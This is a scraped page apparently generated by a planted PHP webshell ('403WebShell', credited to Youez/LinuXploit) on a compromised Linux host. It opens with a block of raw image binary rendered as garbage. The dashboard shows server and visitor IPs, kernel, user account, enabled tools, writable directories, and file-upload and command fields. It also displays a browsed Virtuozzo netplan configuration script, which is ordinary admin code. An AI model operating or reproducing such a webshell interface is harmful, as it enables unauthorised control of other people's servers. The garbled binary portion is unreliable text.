....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.19.154.92  /  Your IP : 216.73.216.47
Web Server : Apache
System : Linux lon12.onrocket.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64
User : gd5hzp4 ( 1069)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/lib/vz-tools/tools/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/lib/vz-tools/tools/scripts/netplan-cfg.py
#!/usr/bin/python3
#
# Copyright (c) 2018 Virtuozzo International GmbH.  All rights reserved.
#
# This python script provides interface to configure network settings
# using netplan.

import argparse
import yaml
import os
import re
import subprocess
import sys


NETPLAN_CFG_DIR = "/etc/netplan/"
NETPLAN_CFG_PREFIX = "90-vz-"


def getArgParser():
	"""
	Init argparse
		- "device" is mandatory for all commands.
		- "ip" is used for gateway \ route related operations
	"""
	parser = argparse.ArgumentParser("Netplan configuration editor")

	parser.add_argument('-a', '--action', action="store",
			choices=("get_dhcp", "restart", "set_dhcp", "set_gateway", "set_ip", "set_route"))  
	parser.add_argument('-i', '--ip', action="store")
	parser.add_argument('-d', '--device', action="store", required=True)
	parser.add_argument('-p', '--proto', action="store")
	parser.add_argument('-o', '--options', action="store", default="")

	return parser

def is_ip_proto(addr, proto):
	res = None
	if int(proto) == 4:
		res = "." in list(addr)
	elif int(proto) == 6:
		res = ":" in list(addr)

	if res:
		return True
	return False

def split_route(route):
	"""
	Split route string into elemenets
	 "X.X.X.X/Z=X.X.X.Ym100" -> "X.X.X.X/Z X.X.X.Y 100"
	Return tuple (to, via, metric)
	"""
	via = "0.0.0.0"
	metric = ""
	res = re.split("m", route.strip())
	if res.__len__() == 2:
		metric = int(res[1])
	res = re.split("=", res[0])
	if res.__len__() == 2:
		via = res[1]
	to = res[0]

	return to, via, metric

def netmask_to_cidr(netmask):
	"""
	Convert netmask to CIDR notation. Netplan does not accept netmasks
	"""
	return sum([bin(int(x)).count('1') for x in netmask.split('.')])

class npConfig(object):
	def __init__(self, **kwargs):
		self._ifname = kwargs["device"]
		self._action = kwargs["action"]
		self._ip = kwargs["ip"]
		self._proto = kwargs["proto"]
		self._options = kwargs["options"]

		config = {}
		self.filename = NETPLAN_CFG_DIR + NETPLAN_CFG_PREFIX + self._ifname + ".yaml"

		self.__load()

	def __generate_skeleton_config(self):
		"""
		Generate skeleton config
		"""
		self.config = {'network': {"version": 2, 'ethernets': {self._ifname: {}}}}

	def __get_route_tree(self):
		"""
		Retrieve pointer to the route subtree
		"""
		# Create empty list if it is missing to avoid KeyValue exceptions
		if "routes" not in self.config["network"]["ethernets"][self._ifname]:
			self.config["network"]["ethernets"][self._ifname]["routes"] = []

		# Return subtree pointer to shorten and simplify further code
		return self.config["network"]["ethernets"][self._ifname]["routes"]

	def __set_gateway(self):
		"""
		set_gateway action implementation for netplan config
		"""
		ifcfg = self.config["network"]["ethernets"][self._ifname]

		# to comply with scripts, we should only remove routes if there is
		# at least single valid gateway to configure besides "remove*"
		for ip in self._ip.split():
			if 'remove' not in ip:
				if "routes" in ifcfg:
					ifcfg.pop("routes")

		for ip in self._ip.split():
			if 'remove' in ip:
				continue

			route_tree = self.__get_route_tree()

			if self.__checkFeature("default-routes"):
				route = {"via": ip, "on-link": "true", "to": "default"}
				if route not in route_tree:
					route_tree.append(route)
			else:
				gw_proto = "gateway4"
				if is_ip_proto(ip, 6):
					gw_proto = "gateway6"
				ifcfg[gw_proto] = ip

			# Configure on-link route to host-routed gateway
			if  ip == "169.254.0.1":
				route = {"to": "169.254.0.1", "via": "0.0.0.0", "scope": "link"}
				if route not in route_tree:
					route_tree.append(route)

	def __set_dhcp(self):
		"""
		set_dhcp action implementation for netplan config
		TODO: its necessary to decide what to do with this function.
		Original shell script removes configuration entirely and rewrites it
		when dhcp is set. While it should be reasonable just to remove relevant
		protocol (ipv4/ipv6) configuration and set dhcp.
		For the sake of compatibility, function replicates existing behavior,
		wipes configuration file and just sets dhcp.
		"""
		self.__generate_skeleton_config()

		ifcfg = self.config["network"]["ethernets"][self._ifname]

		for proto in list(self._proto):
			if proto == '4':
				ifcfg["dhcp4"] = "yes"
			if proto == '6':
				ifcfg["dhcp6"] = "yes"

	def __set_route(self):
		"""
		set_route action implementation for netplan config
		"""
		route_tree = self.__get_route_tree()

		for ip in self._ip.split():
			if ip == 'remove':
				for route in route_tree:
					if is_ip_proto(route["to"], 4):
							route_tree.remove(route)

			elif ip == 'remove6':
				for route in route_tree:
					if is_ip_proto(route["to"], 6):
							route_tree.remove(route)

			else:
				to, via, metric = split_route(ip)
				route = {"to": to, "via": via}
				if metric:
					route["metric"] = metric
				if to == "169.254.0.1":
					route["scope"] = "link"

				# Check for duplicates before adding route
				if route not in route_tree:
					route_tree.append(route)

	def __set_ip(self):
		"""
		set_ip action implementation for netplan config
		IMPORTANT: on each use old config is flushed. That is to ensure
		backward-compatibility. prl_nettool supplies full list of IPs on each
		set_ip invocation
		"""
		self.__generate_skeleton_config()
		ifcfg = self.config["network"]["ethernets"][self._ifname]

		for ip in self._ip.split():
			if self._ip == 'remove' or self._ip == 'remove6':
				continue

			if "addresses" not in ifcfg:
				ifcfg["addresses"] = []

			# This is necessary for compatibility, we must replicate old behavior
			if "/" not in list(ip):
				if is_ip_proto(ip, 4):
					ip += "/32"
				else:
					ip += "/64"
			else:
				if is_ip_proto(ip, 4):
					addr, netmask = ip.split("/")
					if "." in netmask:
						netmask = netmask_to_cidr(netmask)
						ip = addr + "/" + str(netmask)

			ifcfg["addresses"].append(ip)

		ifcfg["dhcp4"] = False
		ifcfg["dhcp6"] = False
		for opt in self._options.split():
			if opt =="dhcp":
				ifcfg["dhcp4"] = True
			if opt =="dhcp6":
				fcfg["dhcp6"] = True

	def __checkFeature(self, feature):
		"""
		check if current version of netplan supports default-routes feature
		"""
		p = subprocess.Popen("netplan info".split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
		out = p.communicate()

		if p.returncode:
			print("netplan info failed [%d].\nstdout:%s\nstderr:%s\n" %
				(p.returncode, str(out[0]), str(out[1])))
			return False

		if feature in str(out[0]):
			return True
		return False

	def __restart(self):
		"""
		restart action implementation for netplan config
		"""
		p = subprocess.Popen("netplan apply".split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
		out = p.communicate()

		if p.returncode:
			print("netplan apply failed [%d].\nstdout:%s\nstderr:%s\n" %
				(p.returncode, str(out[0]), str(out[1])))

		return p.returncode

	def __generate(self):
		"""
		restart action implementation for netplan config
		"""
		p = subprocess.Popen("netplan generate".split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
		out = p.communicate()

		if p.returncode:
			print("netplan generate failed [%d].\nstdout:%s\nstderr:%s\n" %
				(p.returncode, str(out[0]), str(out[1])))

		return p.returncode

	def __get_dhcp(self):
		"""
		get_dhcp action implementation for netplan config
		"""
		ifcfg = self.config["network"]["ethernets"][self._ifname]

		if self._proto == 6:
			dhcpvp = "dhcp6"
		else:
			dhcpvp = "dhcp4"

		if dhcpvp in ifcfg:
			if ifcfg[dhcpvp]:
				return 0
			else:
				return 1
		else:
			return 2

	def __load(self):
		"""
		Read configuration file from disk. If it is missing - construct skeleton config
		"""
		if os.path.exists(self.filename):
			with open(self.filename) as f:
				self.config = yaml.load(f.read(), Loader=yaml.SafeLoader)
		else:
			self.__generate_skeleton_config()

	def __save(self):
		"""
		Write config to the disk
		"""
		with open(self.filename + ".tmp", "w") as f:
			f.write(yaml.dump(self.config, default_flow_style=False))
		if os.path.exists(self.filename):
			os.rename(self.filename, self.filename + ".bkp")
		os.rename (self.filename + ".tmp", self.filename)

	def perform_action(self):
		"""
		Perform action over the config file
		"""
		if self._action == "get_dhcp":
			return self.__get_dhcp()

		if self._action == "restart":
			return self.__restart()

		if self._action == "set_dhcp":
			self.__set_dhcp()
		elif self._action == "set_route":
			self.__set_route()
		elif self._action == "set_ip":
			self.__set_ip()
		elif self._action == "set_gateway":
			self.__set_gateway()

		self.__save()
		self.__generate()
		return 0


"""
Main body starts here
"""
if __name__ == '__main__':
	args = getArgParser().parse_args()

	npcfg = npConfig(action=args.action, device=args.device,
		ip=args.ip, proto=args.proto, options=args.options)

	res = npcfg.perform_action()

	sys.exit(res)

Youez - 2016 - github.com/yon3zu
LinuXploit